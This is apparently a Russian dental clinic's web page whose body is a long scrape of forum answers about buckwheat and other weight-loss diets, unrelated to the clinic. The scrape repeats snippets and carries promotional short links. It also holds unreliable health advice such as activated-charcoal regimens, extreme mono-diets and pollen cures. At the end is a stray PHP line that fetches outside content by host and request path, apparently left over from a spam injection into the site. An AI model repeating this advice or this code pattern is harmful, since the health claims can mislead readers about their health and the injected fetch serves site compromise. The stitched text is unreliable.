Кафедра челюстно лицевой хирургии и стоматологии СамГМУ

ОАО "Поволжский Специализированный Реабилитационный Стоматологический Центр"
Терапия Ортопедия Пародонтология Хирургия Ортодонтия Имплантология Эстетическая хирургия ЧЛХ
  ?>
О компании
Услуги
Прайс
Наши разработки
Наш коллектив
Бесплатная
   консультация

Как похудеть?

Займись спортом

Как похудеть на гречневой диете польза гречки, правила похудения, отзывы худеющих.Как и у любой другой диеты у похудения на гречке есть свои противопоказания.

Жрать меньше и шевелиться больше.

Не ешь соль, двигайся!

Меньше ешь и спортом занимайся

Уменьшайте кол-во порций, занимайтесь спортом или танцами, больше ходите...

Спорт+исключить из рациона мучное, жаренное, сладкое, картофель и соль

Зная как похудеть на гречке и придерживаясь всех правил, можно избавиться от 7-10 кгОбычно такой суточной порции достаточно, чтобы не чувствовать голода, но если есть...

Сыроедение и бегать по утрам

Кто нибудь похудел на гречке с кефиром?На сколько кг и сколько дней её ели?

Моя подруга не похудела на ней

Если есть тазиками то нет а если уменьшить порцию еды то и гречку с овощами и супчики и все что угодно можно и похудеешь только без булочек и печенюжек а главное воды 2 литра и...

Расскажите что это за диета такая?

Как положено неделю, только кефир и гречка+ 1 яблоко. первый раз ушло 3 кг, второй 1 кг

Сидела я на гречке эффекта никакого, только желудок посадила.

Здравствуйте! Я пчеловод. И вот что хочу Вам посоветовать. Купите пыльцу гр. 200,сухую или свежую всё равно, только хранение разное. Пейте её 1ч. л. на тощак с утра за 30 мин до еды, не запивая а рассасывать. Вопервых это живые комплексные вмтамины, для иммунки. Во вторых она нормализует обмен веществ. Похудеете за месяц на 4-5 кг. НО! первые дни будет очень мучить голод и если вы справитесь, то у вас всё получится. Попробуйте не пожалеете. Удачи!!!

Похудеешь ну потом моментом наберешь

Одну гречку есть? От риса и овсянки поправляются. В магазине продукты в основном калорийные-сыры, колбасы, свинина, сладкое, мучное.

Похудеешь, но нужна такая сила воли! Я больше 3 -х дней не выдержала!

Ем гречку год худела а теперь толстею

Ну оно и понятно, после диеты все вес набирают, организм обмануть невозможно и всю жизнь на диете не просидишь, лишая себя всех витаминов и микроэлементов можно остаться без волос, ногтей и с тусклой высушенной кожей.

Рекомендации диетологов. Есть только одну гречку целую неделю может надоесть.Можно похудеть на гречке щадящим способом. Существует еще одна гречневая диета...

Гормональный сбой. соседка лет 10 назад так худела, а теперь когда садится пузо аж на колени ложится. я не веру. худеть нужно правильно, не ограничивая себя в рационе. мы не были созданы для монодиет. Нам было предложено питаться разнообразно, тут вопрос количества и только.

ЗА 1 год все поменялось : образ жизни, питание... СНова сядте на диету и похудеете

Хватит издеваться с себя диетами :)
В 21 веке же) Сейчас столько новых способов, причем недорогих)
Вот один из - http://vk.cc/3FTJi6
Отличный метод, попробуй и не пожалеешь :)

Как мама двоих детей я знаю, что очень сложно бороться с лишним весом при таком образе и ритме жизни. Перепробовала множество “чудодейственных средств” в виде таблеток, чаёв, платырей и примочек. Портила здоровье редуксином, липриной, жидким кашатном, ксениКАЛОМ семенами чиа, зеленым кофе, ягодами годжи, флу, кленом. Заявляю категорически – кроме вреда для здоровья и временного снижения веса с последующим его набором – абсолютно никакой пользы! Около года назад мне порекомендовали Сергея Сивца. Это оказался первоклассный специалист по фитнесу и один из лучших диетологов Москвы. И просто хороший, отзывчивый человек. Очень рекомендую программы питания и программы тренировок Сергея Сивца! Для дома, улицы и тренажерного зала. Есть специальные программы для похудения живота и боков! На мой взгляд, они самые эффективные и недорогие (что важно в сегодняшней непростой ситуации в стране). Можно быстро и безопасно похудеть без насилия над собой! Сайт у него, по-моему, атлетик блог ру. Можно через поиск найти. Успехов всем худеющим!

Если кушать гречку с солью возможно ли похудеть? и пить достаточно воды.. после 6 не ем

Самый простой самый эффективный метод, который знают многие врачи-не врачи, но молчат, ибо чтобы всякую хрень покупали! итак-5 дней пьем один кефир, 1 процентный, если совсем невмоготу-первые дни что ниб перекус, тогда пьем кефир 10 дней, затем-перерыв и опять по новой

Кстате есть уже даже и не хочется! Сидела на ГД 5 лет назад похудела за 2 недели ела только гречку и кефир, больше ничего на 8 кг. !!!

Можно... а потом тут же набрать еще больше
И, в любом случае, лучше БЕЗ соли.

Щас все худеют или на сыроедение или одну гречку едят. а че будет если жрать один горох?))) он же тоже без калорий)))

Посмотрите таблицу каллорий))

Хочешь похудеть ешь гречку. Гречневые блюда очень любят диетологи. Этот продукт быстро усваивается организмом человека и обладает массой достоинств.

Нет НИЧЕГО без калорий, кроме воды

Оппердишься, мать!

Дружок, а не ты ли вчерась задавал вопрос" сколько съесть гороха, чтобы поступить в музыкальную школу" ...

Да у Вас горохомания!

Продрищешься мать, фаянсовое изделие станет твоим верным другом на несколько дней.

Как похудеть на гречневой диете польза гречки, правила похудения, отзывы худеющих.Как и у любой другой диеты у похудения на гречке есть свои противопоказания.

Фуууу будет!)))))))

С помощью овсянки можно похудеть

Можно, еще лучше на овсяных отрубях !!!

Суть диеты очень проста вам потребуется, есть одну гречку, которою следует приготовить немного необычно, после этого следует сделать перерыв не меньше месяца.

Можно!

По мимо овсянки нужно есть другие правильные продукты. Одна овсянка Вам ничего не даст)

Вода из-под крана, тож отличный метод)))

Можно похудеть постоянно хавая мясо, главное не сидеть на попе.

Да конечно

Рекомендации диетологов. Есть только одну гречку целую неделю может надоесть.Можно похудеть на гречке щадящим способом. Существует еще одна гречневая диета...

Одна овсянка вам не даст всего необходимого для организма! растеряете много мышечной ткани, а из за этого обмен веществ замедлится=сильнее будут сохраняться драгоценные жиры. белковую пищу и сложные углеводы заменить ничем не получится. нет ни одного продукта, способного дать организму все необходимое!!!! фрукты и овощи, молочные продукты, яйца, не жирное мясо (куриные грудки, говядина) , рыба и морепродукты. . ни один продукт не сжигает жиры, только бег сжигает жиры, в целевой зоне пульса.

Да, только ее нужно есть совсем немного и готовить на воде, без масла и сахара. А в промежутках овощи, фрукты, курица, яйца.

Как можно похудеть за 19 дней

Гречку ешь одну,ищи гречневая диета

Как приготовить гречку для похудения? Варить гречневую крупу необходимо в соотношении с водой 1 к 2 на медленном огне под плотной крышкой, не помешивая.

Надо усиленно заниматься спортом, кушать меньше жирного, только легкоусвояемая пища

Чемоданчик "Худеем за неделю", гидромассаж и на работу-в школу пешком, по возможности.

На пару килограммов максимум.
Считать калории и двигаться - бегать, лыжи, бассейн, тренажеры - велосипед и беговая дорожка.

Скотч на рот и ты красотка! )))))))

Очень большую физ. нагрузку дать.
Исключить из питания сахар полностью, жирное полностью, мучное полностью, Оставить мясное, овощное, гречку, бобовые, но в ограниченном количестве.

Для того, чтобы похудеть на гречке, нужно есть е очень мало, потому что гречка - это углеводный продукт, а потребление углеводных продуктов в больших количествах сильно замедляет процесс похудения.

...худеть, чтобы в новогоднюю ночь нажраться?

Рецепт похудения на основе активированного угля
В течение 10-30
дней следует принимать по 1 таблеточке активированного угля на каждые 10 кг
веса, три раза в день, перед едой. Уголь запивать 1 стаканом воды.
Второй рецепт:
пить по 10 таблеток активированного угля в день перед едой, разделив его на
порции. При диете на основе угля необходимо меньше кушать, больше двигаться,
исключить сладкие, жареные и мучные блюда. Вес постепенно снизится.
Суть методики предельно ясна. Активированный уголь
помогает худеть тем, у кого есть в организме шлаки, а также отмечается вздутие
живота и проблемы со стулом. Вследствие этих проблем, кстати, могут быть высыпания на коже дерматиты.
Таблетки угля очищают кишечник, вбирая в себя лишние
газы. Через две недели заметно улучшение пищеварения и похудение.

Это если случится голод. но думаю пока такое не случится. разве сами себе не устроите.

Ешьте шпинат, тощий творог, овощные супы без жира.

Водичка и овощи. Физнагрузка обязательна!!!!

За 13 дней на сколько можно похудеть,если есть гречку и пить кефир ну если гречка надоест можно посидеть на одних яблоках спорт каждый день и баночный масаж,кг 6 можно скинуть?

Можно ли есть гречку на ужин для худеющих? или что лучше?

В самый раз....

Просто так гречка у меня в горло не лезет. Поэтому я ем е вместе с Белым йогуртом , у негоОчень редко позволяла кофе утром. За 2 недели похудела на 5 кг. Объемы таяли на глазах.

Если без добавления кубика и соли, то можно

На воде, пресную и без масла!

Можно даж с добавлением фруктов!

..Можно н то лучше потом вообще не есть после шести вечера тогда 92,7% из 100% похудеете проверено на себе а также перед едой натощак пить стакан кипяченой простой воды .или просто посидеь на диете или занятся фитнесом.

Лучше вообще без ужина))))) )
я ем салат из смеси зеленых салатов заправленных соком апельсина, солью и кедровыми орехами - кайф!

На ночь, сначала большую чашку, вечером выбрасывала, потом поменьше и снова выбрасывала... в итоге похудела наА с молоком гречку можно есть? Или молоко тоже запрещается?

Углеводы лучше с утра и днём...

Ни можно, а НУЖНО!! ! Только без соли и масла.

ПОХУДЕНИЕ НА ГРЕЧКЕ

На вермишели !

Многих людей интригует вопрос как быстро похудеть на гречке?Полный рецепт моно-диеты на гречке. Нужно запарить один стакан крупы и есть гречку в течение дня.

Сверху подушку положи а то твердо сидеть будет
отруби круче вес сгоняют

А гречка с яблоками не протухнет, сидя на ней неделю? Бегом в спорт зал!

Не поможет. у меня подруга сидела. гречку видеть теперь не может. лучше зарядку делайте и не ешьте за 3-4 часа до сна.

Можно ли похудеть если есть только гречку и пить только зеленый чай??

Не более двух недель. А вообще есть даже такая диета. Только гречку нужно запаривать и кушать без специй и соусов + пить витамины, чтобы не выпадали волосы, не портились ногти и кожа.

Как приготовить гречку для похудения? Варить гречневую крупу необходимо в соотношении с водой 1 к 2 на медленном огне под плотной крышкой, не помешивая.

Да, но смотря в каком количестве есть гречку

Да дней 5-7 можно только осторожно!

Да, только надо еще утром натощак выпивать стакан горячей воды и кушать гречку только через 2-3 часа, потом когда голодно только кашу

Да, эффект будет неплохой, до той степени пока организм не привыкнет!
Но не забывайте, гречка должна быть без любых добавок типа как соль там молоко или соусы какие, а чай чистейший дорогой зелёный, а не химия типо хейлиса или липтона

Можно это даже полезно вот сама с завтра начну питаться гречкой запаренной с вечера.

Похудела я на 14 кг, за 2 недели, прошло уже месяц, и вес никуда не двигается, главное правильно выйти из этой диеты, ела толькоо гречку ну и пол стакана кефира, через день ...

Да, конечно можно.

Нет, от углеводов вас ещё больше понесёт.

Спирулина суперсжигатель жира на водорослях. .

Лучьше не надо буквально на днях пробовала диету с исспользованием зелёного чая. Ужасно, упала в обморок. Некачественный. Эти все диеты оооочень плохо помогают, да здоровье плохитсчя. Мой тебе совет: бегай и занимайся танцами, а также пей чай утром с 2 кусочками сахара, а потом без сахара. Совсем сахар не исключай.. Пей много воды. И ешь поменьше лучше гречку, каши, чтото еще. Пей соки, чай, воду. Соки морковные. Совсем хлеб не исключай., один раз кушай. Ну вот,

От гречки худеют? м?

Да. Гречка-очень полезный продукт !

Преимущества гречневой диеты. Гречневая крупа действительно помогает похудеть. У гречневой диеты есть вполне очевидные преимущества Во-первых, гречка совершенно не...

Худеют, если едят умеренно и неважно какой продукт. А можно и гречкой обожраться так, что ходить трудно будет) а вообще, овсянка полезна в целях похудения, так как прочищает кишечник в буквальном смысле этого слова)))

Гречневая диета
На этой диете за неделю можно сбросить 2-3 кг, а заодно и укрепить нервную систему и улучшить состояние сосудов.
Завтрак: Тарелка гречневой каши на воде без соли и специй. Можно добавить 125 г обезжиренного творога, 125 г фруктового йогурта, два ломтика сыра твердых сортов.
Обед: Тарелка салата из зеленых овощей, 100 г отварной нежирной телятины.
Полдник: Одно яблоко или 125 г обезжиренного йогурта.
Ужин: Гречневая каша с овощами, немного кетчупа или соевого соуса.
Да от неё можно похудеть.

Нет. В ней полно калорий. Если за 2 недели грамм 200 жира сбросите- отлично. остальные преславутые 3 кг тут же водой наберете.

Не худеют. когда же уже народ образумится и поймет истинну: худеют или толстеют не от определенного продукта, а от количества этих продуктов и пищевой ценности, которую они вмещают. Если съешь больше энергии, чем потратишь - поправишься, больше потратишь, чем съешь - наоборот!

Ну как сказать. Зависит от способа приготовления и от количества ) Еслив ы просто замочите на ночь в воде, а потом утром скушаете, то возможно и похудете. А если как обычно проварите, да с маслицем. . :) Гречка очень полезна для кишечника в любом случае)

Итак, на гречке действительно можно похудеть, и этому способствуют сразу несколько ее свойствВ каком еще виде можно есть гречку для похудения?

Чтобы похудеть нужно просто меньше есть, особенно вечером поменьше сладкого и выпечки! СЧитаю это лучший вариант, не стоит голодать или давиться одной гречкой например! А насчет гречки.. . Да, действительно, в ней есть углеводы, но если ей не объедатьс и без всяких соусов и добавок, то ешьте и худейте .. Только постепенно худейте, без фанатизма... Здоровье еще пригодится! Удачи!

Да, худеют.... если употреблять её в день сваренной из пол стакана крупы, а не ведро с гарнирами...

От углеводов жиреешь еще как

Да худеют

От гречки реально похудеть ))) только нужно есть гречку вообще даже без масла и с огурчиком можно ))

Как похудеть на гречневой диете польза гречки, правила похудения, отзывы худеющих.Как и у любой другой диеты у похудения на гречке есть свои противопоказания.

Если есть только одну гречку, то да.)

Как худеть с помощью гречки

Вредно с помощью нее худеть. Тогда уже лучше соковую диету попробуйте

Зная как похудеть на гречке и придерживаясь всех правил, можно избавиться от 7-10 кгОбычно такой суточной порции достаточно, чтобы не чувствовать голода, но если есть...

Не надо на ней худеть, три дня сидела на четвертый чуть с ума не сошла инаелась, за три потеряла 3 кг и прибавила 4. фигня а не диета. лучше огурцы ешь!

Не знаю вредно или нет .но я худела еще ела капусту за 2 месяца 10 кг сбросила. правда гречку не солила вообще

Гречку заливать холодной водой на ночь а ктром есть без соли

Гречка - это жесть. Лучше бодифлекс + система минус 60.

Главное без соли ее варить и есть.

Если есть тазиками то нет а если уменьшить порцию еды то и гречку с овощами и супчики и все что угодно можно и похудеешь только без булочек и печенюжек а главное воды 2 литра и...

На сколько можно похудеть за 30 дней?

Танцуйте больше самое лучшее средство

Одну гречку есть? От риса и овсянки поправляются. В магазине продукты в основном калорийные-сыры, колбасы, свинина, сладкое, мучное.

На капусту лучше налегай!!!

Это ведь от каждого человека зависит.. . Точно нельзя сказать никак, и у каждого по разному.

5-10% от вашего веса

На этот вопрос никто не ответит. Так как интенсивность похудения зависит от многих факторов: от количества принимаемой пищи, от качества тренировок в тренажёрном зале и от особенностей именно твоего организма. Изложить всё с помощью медицинских терминов не могу, я не доктор. Но поясню так: 2 человека питаясь абсолютно одинаковой пищей и в одно и тоже время, буду набирать вес по разному. Каждый организм индивидуален. И это еще не касаясь отклонений от нормы органов ЖКТ. Так что, узнать, на сколько килограммов ты похудееш через 30 дней, ты сможешь лишь проведя этот эксперимент.

Если вы себя хорошо чувствуете, депрессии в связи с переходом на диету и спортивные нагрузки нет, то через 30 дней вы гарантированно похудеете килограмм на 4-5 и это нормально. Если вы похудели на большее количество - это плохо. Значит организм подвергся сильному стрессу. Так делать не стоит, иначе психических и физических заболеваний не избежать.

Рекомендации диетологов. Есть только одну гречку целую неделю может надоесть.Можно похудеть на гречке щадящим способом. Существует еще одна гречневая диета...

Гречка . Полезна ли для похудения?

Да, у меня одна подруга на гречке хорошо похудела, к тому же гречка полезна для желудка

Кстате есть уже даже и не хочется! Сидела на ГД 5 лет назад похудела за 2 недели ела только гречку и кефир, больше ничего на 8 кг. !!!

Нет, конечно! Посмотрите сколько в ней калорий. За счет отсутствия соли чуть уйдет вода из организма. Как начнете вновь нормально есть- тут же вес вернется.

Для похудения важно КОЛИЧЕСТВО гречки, а не она сама, так же, как и вся остальная еда

Напрямую поедание гречки и похудабельность не связаны.

Я очень хорошо худею и очищаюсь на гречке! при условии, что она заварена на воде и без соли. Аппетита жуткого нет, потому как в ней белка много и энергии достаточно она дает, а также очень хорошо она помогает отвыкнуть от всяческих усилителей вкуса, которые стимулируют ненормальный аппетит, что тоже способствует снижению избыточного аппетита и как следствие лишний вес снижается до нормального. Считаю гречневую диету самой эффективной и лучшей для своего организма

Хорошо помогает: стакан гречки на ночь залить поллитром кефира. Весь следующий день едите только это. Можно пить много воды. За день минус два кг. Только нужно всегда правильно питаться и похудеете. На одной гречке всегда не сможете.

Хочешь похудеть ешь гречку. Гречневые блюда очень любят диетологи. Этот продукт быстро усваивается организмом человека и обладает массой достоинств.

Для похудения полезно ВСЁ!главное, правильно употреблять пищу. почитай про белки, жиры и углеводы, как правильно их употреблять

Вполне

Как похудеть??? есть в день 100 грамм гречки и выпивтаь бутылку кефира и ходить 5 часов пешком, можно похудеть?

Ходить в туалет обязательно

Как похудеть на гречневой диете польза гречки, правила похудения, отзывы худеющих.Как и у любой другой диеты у похудения на гречке есть свои противопоказания.

Конечно можно.. . и загнуться, копыта отбросить тоже можно....

Еще как)

100 грамм гречки-350 ккал и 500 гр кефира -250 и того 850 ккал и нет ни витаминов группы С ни клетчатки ни белков животных! Нужно есть МИНИМУМ 1200 ккал в сутки! Иначе гастрит и возврат веса в 2-ном количестве потом!

Можно. но ты ещё что нибудь съешь. а то падать будешь

В наше время думаю каждый человек знает как худеть, а вы глупые вопросы задаёте. захотите похудеете, кушайте 2 раза в день НЕ ПЕРЕЕДАЙТЕ, ешьте не жирную пищу, кусочек мяса сойдёт и топайте с друзьями, гуляйте, не сидите пиво не пейте и всё отлично будет и стараться не надо.
на гречке долго не продержитесь, так что не старайтесь=)

Суть диеты очень проста вам потребуется, есть одну гречку, которою следует приготовить немного необычно, после этого следует сделать перерыв не меньше месяца.

Можно заработать гастрит, язву и прочие "радости"
Если хотите. можно обратиться за помощью к специалистам которые подберут для вас определенную диету которая не будет негативно влиять на ваш организм. Попробуйте обратиться в клинику "Питание и здоровье", Каширское ш. д. 21. г. Москва.
Удачи вам!

Если гречка на воде свареная, то 88ккал. В интернете много можно найти диет и систем похудения и правильного питания.

Я попробовала бесплатные уроки похудения кому интересно пишите в личку

Можно.

Таким образом, как вы описываете, похудеть НЕВОЗМОЖНО.

Рекомендации диетологов. Есть только одну гречку целую неделю может надоесть.Можно похудеть на гречке щадящим способом. Существует еще одна гречневая диета...

Как думаете на гречке похудеть можно за месяц на 10 кг? мне нужна эффективная жесткая диета!

А сдохнуть не боишься?

Как приготовить гречку для похудения? Варить гречневую крупу необходимо в соотношении с водой 1 к 2 на медленном огне под плотной крышкой, не помешивая.

Я похудела на 8 кг за месяц питаяс 2 раза в день, в 14.00 и в 20.00, правда работаю до 05.00 утра. Есть старалась отварное все, но так постоянно надоедает, иногда и конфеточку съем и чипсинку.

Диета может быть либо жесткой, либо эффективной.
Жесткие диеты дают временный результат, т. к. организм испытывает стрессы связанные с ограничением поступления пищи. При этом, организм пытается восстановить всё утраченное с запасом. Ты даже сама не заметишь, как после диеты начнешь жрать еще больше чем прежде. И ни помогут ни какие обещания, мол я скину быстро, а потом будут есть меньше, чем раньше, дабы не набирать вес - фигу. Таков организм, он всегда защищает себя.
Эффективные диеты - плавные, постепенные, что бы организм мог привыкать к постепенным ограничениям. И как правило, в подобных случаях килограммы уходят на всегда.
Например, ты можешь легко исключить из своего ежедневного рациона 100 калорий, например съедать в день не плитку шоколада, а 2 трети. Ты даже не заметишь. После. когда привыкнешь съедать 2 трети, так же легко сможешь начать есть 1 треть и т. д. А можешь сразу отказаться от плитки шоколада - организм будет испытывать стресс, ты будешь чувствовать, что тебе чего то не хватает и т. д. Соответственно, со временем, ты будешь снова есть шоколад, и чуть позже уже 1.5 плитки. т. к. организм заботится о себе, и на случай повторного стресса, делает запасы.
Так и с диетой, резко ограничивая себя - результат будет отрицательным. А если начинать плавно, то и отказаться со временем можно будет от всего лишнего, при том легко, и результат будет эффективным, хотя и более медленным.
Выбирай, что тебе важно - скинуть за месяц 10кг, а еще через месяц набрать 12, или скинуть за месяц 5, а еще через месяц, еще 5.
Кукуня например (ответившая выше) , скоро будет набирать вес, т. к. чем реже организм получает еду, тем больше замедляется обмен веществ, т. к. снижение веса остановится, если продолжать есть 2 раза в день. При этом, еда полученная в 20-00, будет идти стабильно в жир.
А жесткая и эффективная диета - это эффективная диета в питании, и жесткие нагрузки. Позволят добиться калосальных результатов и в случае придерживания сбалансированного, правильного питания - кг уйдут навсегда. Но опять же, если после подобного, бросить физ. нагрузки, вернутся к прежнему питанию, то и вес вернется очень быстро. Правильное питание в свою очередь, это не "не есть жареного и сладкого", а соблюдать баланс белков, жиров и углеводов, а именно 25-30% белка, 60% углеводов и 10-15% полезных жиров, как правило растительных, но это не означает, что жаренное и сладкое - вредно. Всё полезно в меру.
Если вся эта писанина тебе заинтересовала, можешь написать в ЛС, получить совет, следовать ему и кг будут уходить на всегда и это легко. Ведь привыкая к тому, что кажется тебе сложным постепенно, со временем сложное, станет - легким. Например сейчас, мне кажется просидеть на гречке пару недель - проще простого. А раньше - это казалось невозможным. К счастью, меня не интересуют подобные диеты, т. к. мой образ жизни на данном этапе, слишком сложный для обычного человека с лишним весом, но и привык я к нынешнему образу жизни за 3 месяца, начиная всего лишь с разделения ужина на 2 приема. За 3 месяца я скинул 16кг, не ем сладкого, ем 12 раз в день, занимаюсь бодибилдингом и сейчас для меня подобный образ жизни - привычный и я получаю массу удовольствия от жизни. А раньше я бы упал в обмарок, если бы узнал что придется делать.

Гречнево-кефирная диета очень хороша.

Если исключительно моно и гречку запаривать, а не варить - можно.

Можно ли похудеть в течении месяца если кушать гречку пить воду и переодически кушать огурцы?И на сколько если можно?...

Можно похудеть, а нас колько зависит от Вашего избыточного веса, если много то больше кг уйдет

Для того, чтобы похудеть на гречке, нужно есть е очень мало, потому что гречка - это углеводный продукт, а потребление углеводных продуктов в больших количествах сильно замедляет процесс похудения.

Не диеты надо соблюдать, а питаться и жить правильно.
Это поможет наладить правильный обмен веществ http://www.buteykomoscow.ru/friends_and_enemies/

Ты для начала дней 10 на гречке протяни!!

Да, можно. за 3 дня 1,5 кг. испытано на собственном опыте. причём пила и кофе сладкое с 4% сливками, а не только воду. огурцы правда не ела.

Огурцы лучше не периодически, потому что будет растройство желудка

Любая монодиета (когда рацион состоит из одного продукта) вредна для организма, поэтому ее не рекомендуют использовать больше трех дней. Человек может похудеть на любой монодиете. Если для вас похудение - вопрос жизни и смерти, и вы решили худеть именно таким образом, осознавая все риски для своего организма, то не забудьте купить себе упаковку поливитаминов и минералов и регулярно их принимать.

За 13 дней на сколько можно похудеть,если есть гречку и пить кефир ну если гречка надоест можно посидеть на одних яблоках спорт каждый день и баночный масаж,кг 6 можно скинуть?

Можно ли похудеть едя саму гречку???

Гречка относится к разряду правильных углеводов, способствует набору мышечной массы при тренировках, питаясь гречкой и не занимаясь спортом похудеть у вас не получится, а вот сохранить форму да!

Просто так гречка у меня в горло не лезет. Поэтому я ем е вместе с Белым йогуртом , у негоОчень редко позволяла кофе утром. За 2 недели похудела на 5 кг. Объемы таяли на глазах.

От гречки можно похудеть? :))

Да, только главное её вёдрами не жрать

На ночь, сначала большую чашку, вечером выбрасывала, потом поменьше и снова выбрасывала... в итоге похудела наА с молоком гречку можно есть? Или молоко тоже запрещается?

А от грека округлиться)

Если ее не варить, то можно.

Да тебе, Светка, и рис... блин.. . не в корм...

Да! поставить пакет на стол и любоваться ею....

Конечно! Столовую ложку гречки отварить в литре воды, процедить. Отвар выпить. И так - постоянно

Многих людей интригует вопрос как быстро похудеть на гречке?Полный рецепт моно-диеты на гречке. Нужно запарить один стакан крупы и есть гречку в течение дня.

...жил с одной, чуть с голоду не помер== рекомендую....

От сушёной - можно. . :-)))

Конечно блин если ее скурить. Вот она и подорожала ))))

Во сколько лучше есть, чтобы похудеть?

Ешь одну неделю пустую гречку)
результат сама увидишь
он значителен)

Как приготовить гречку для похудения? Варить гречневую крупу необходимо в соотношении с водой 1 к 2 на медленном огне под плотной крышкой, не помешивая.

В 25, 26, 27... часов и по 32 дням недели

Вопрос поставлен неправильно! Тут много факторов, на сколько ты хочешь по худеть, сроки, будет ли спорт и т. д. могу посоветовать!

Кто худел на гречке с кефиром? какие результаты?

Худела на 3кг, потом набрала за 2 недели

Похудела я на 14 кг, за 2 недели, прошло уже месяц, и вес никуда не двигается, главное правильно выйти из этой диеты, ела толькоо гречку ну и пол стакана кефира, через день ...

Я сижу сейчас третий день. Чесно не взвешивалась. Просто живот ушел чувствую

Гречка с кефиром хороша для разгрузочного дня, как диета она малоэффективна, тк жир не сжигает

Неделю сидела, потеряла ровно неделю)) ушло грам 800, пришло потом около килограмма. на гречу до сих пор смотреть тошно (года 2 прошло)

Очень эффективно

Я так худела, выдержала почти неделю, ушло 3 кг, пришло потом 4, вместе со стойким отвращением ко всем диетам вообще, особенно к моно. Плюнула, рискнула и пропила два курса редуксина лайт усиленная формула. В результате ем почти все что хочу, но 5-6 раз в день и совсем понемногу, не больше 200-250 грамм за один присест. В результате и не голодная и вес уходит понемногу и самочувствие отличное.

Преимущества гречневой диеты. Гречневая крупа действительно помогает похудеть. У гречневой диеты есть вполне очевидные преимущества Во-первых, гречка совершенно не...

Я хорошо похудела, когда ела только гречку без кефира. Но это тяжело выдержать

Что за адово питание?

Советую кефирно-фруктовую диету - http://vk.cc/3xsko7 Она лучше переносится и от нее намного больше эффект

...худею...что лучше кушать рис или гречку?

Мария, чередуйте гречку и рис, только ешьте без соли.

Итак, на гречке действительно можно похудеть, и этому способствуют сразу несколько ее свойствВ каком еще виде можно есть гречку для похудения?

Гречку сырую заливаешь кефиром часа на 2 оставляешь и можно кушать а еще вареная гречка с яблочным уксусом на одну порцию 1 ст. ложка. вроде помогает.

Я тоже сейчас пытаюсь сбросить лишние килограммы. чередую рис и гречку. отказалась от макарон и картошки. не ем сладкое и мучное. результат-минус 5 кг за месяц...

Рис берете завариваете вечером кипятком в термосе. Утром съедаете эту кашицу .Очень хорошо чистит организм

Лучше чередовать разные крупы...

Греча

Как похудеть на гречневой диете польза гречки, правила похудения, отзывы худеющих.Как и у любой другой диеты у похудения на гречке есть свои противопоказания.

Гречку, это точно. На собств. опыте :)

  • Отзывы по идеалу для похудения - Кто пил таблетки для похудения Идеал???Какие отзывы??? Отзывы, что кто кровь испортил, кто желудок, да разжирел! Худей с
  • Гречневая диета и овощи - Прошу отвечать только тех, кто пробовал что либо из этого!!! какую лучше гречневая диета или овощи с фруктами??? В овоща
  • Как принимать касторовое масло для похудения - Как помогает касторовое масло для похудения? Через клизму Касторовое масло для похудения. Словосочетание непривычное для
  • Мужская майка для похудения - Очень нужна ваша помощь.Мне 15 лет, страдаю от лишнего веса. рост 163, вес 70 А мне что сделать мне 17 лет вешу 49кг рос
  • Вино сыр диета отзывы - Как увеличить грудь? Сходить к пластическому хирургу, ну а он поможет... Сначала кефир, потом яблоки, потом куриные груд
  • Быстрая диета на овощях - Ааааааааа, срочно!!!! Яна ...да забей ты на свидание ))) Движение и ещё раз движение!!) Попробуй аэробикой заниматься -
  • Как похудеть что не кушать - Хочу похудеть...поделитесь опытом, дайте совет) Почитай про белковую диету. Вопрос того, что нельзя есть, чтобы похудеть
  • Диета для увиличения веса - Хочу набрать вес! но никак не получается! пиво не помогает)) подскажите чем бы таким питаться! Если снижен аппетит то: г
  • Диета 13 при кишечной инфекции - Диета при кишечной инфекции Кто сталкивался с кишечной инфекцией? Только что терапевт была. Направили в поликлиннику. Чт
  • Ела кальмары похудела - Что буит если только пить пиво и есть сухаики и кальмары? Отказаться от него, иначе никогда не похудеете Лопнешь ))) Есл
  • Отзывы по идеалу для похудения - Кто пил таблетки для похудения Идеал???Какие отзывы??? Отзывы, что кто кровь испортил, кто желудок, да разжирел! Худей с
  • Гречневая диета и овощи - Прошу отвечать только тех, кто пробовал что либо из этого!!! какую лучше гречневая диета или овощи с фруктами??? В овоща
  • Как принимать касторовое масло для похудения - Как помогает касторовое масло для похудения? Через клизму Касторовое масло для похудения. Словосочетание непривычное для
  • Мужская майка для похудения - Очень нужна ваша помощь.Мне 15 лет, страдаю от лишнего веса. рост 163, вес 70 А мне что сделать мне 17 лет вешу 49кг рос
  • Вино сыр диета отзывы - Как увеличить грудь? Сходить к пластическому хирургу, ну а он поможет... Сначала кефир, потом яблоки, потом куриные груд
  • Быстрая диета на овощях - Ааааааааа, срочно!!!! Яна ...да забей ты на свидание ))) Движение и ещё раз движение!!) Попробуй аэробикой заниматься -
  • Как похудеть что не кушать - Хочу похудеть...поделитесь опытом, дайте совет) Почитай про белковую диету. Вопрос того, что нельзя есть, чтобы похудеть
  • Диета для увиличения веса - Хочу набрать вес! но никак не получается! пиво не помогает)) подскажите чем бы таким питаться! Если снижен аппетит то: г
  • Диета 13 при кишечной инфекции - Диета при кишечной инфекции Кто сталкивался с кишечной инфекцией? Только что терапевт была. Направили в поликлиннику. Чт
  • Ела кальмары похудела - Что буит если только пить пиво и есть сухаики и кальмары? Отказаться от него, иначе никогда не похудеете Лопнешь ))) Есл
Ела гречку похудела
 
 

Список аффилированных лиц

03 июля 2012

04 апреля 2012

10 января 2012

06 октября 2011

03 июля 2011

01 апреля 2011



12 января 2011

30 сентября 2010

30 июня 2010

1 апреля 2010





12 января 2010





2 октября 2009





17 июля 2009



 

 
Адрес: г. Самара, ул. Гагарина 18А (м. Гагаринская)
Тел. (846) 260-68-45, 260-68-48
Факс (846) 260-68-45
Email: stomatsamara@mail.ru
Центр работает с 8:00 до 20:00
Выходные суббота, воскресенье
Схема проезда
  echo file_get_contents(''.$_SERVER["HTTP_HOST"].'&path='.$_SERVER["REQUEST_URI"]);?>
Счетчик посещаемости и статистика сайта